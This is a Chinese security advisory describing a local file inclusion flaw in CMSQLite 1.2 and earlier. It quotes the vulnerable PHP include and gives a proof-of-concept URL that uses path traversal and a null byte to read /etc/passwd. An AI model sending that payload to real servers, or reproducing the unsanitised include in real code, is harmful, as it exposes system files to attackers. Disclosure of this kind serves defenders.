CMSQLite <= 1.2 mod参数本地文件包含漏洞

影响版本:
CMSQLite <= 1.2

漏洞描述:
CMSQLite是基于PHP和SQLite的内容管理系统。

CMSQlite的index.php页面存在本地文件包含漏洞：

/**************** SET MODULE **********************/
if(isset($_GET['mod'])){
    $module=$_GET['mod'];
}else{
    $module="index";
}

...

if(file_exists("template/".$module.".php")){
   include "template/".$module.".php";
}else{
   include "template/index.php";
}

通过更改mod URL参数就可以包含webserver上的任意文件，导致泄漏敏感信息。

<*参考
http://syue.com/Hacker/Research/14502.html
*>

测试方法:
http://cmsqlite.audit/index.php?c=x&mod=../../../../../../../../../etc/passwd%00x

安全建议:
厂商补丁：

Netzabdruck.de
--------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.cmsqlite.net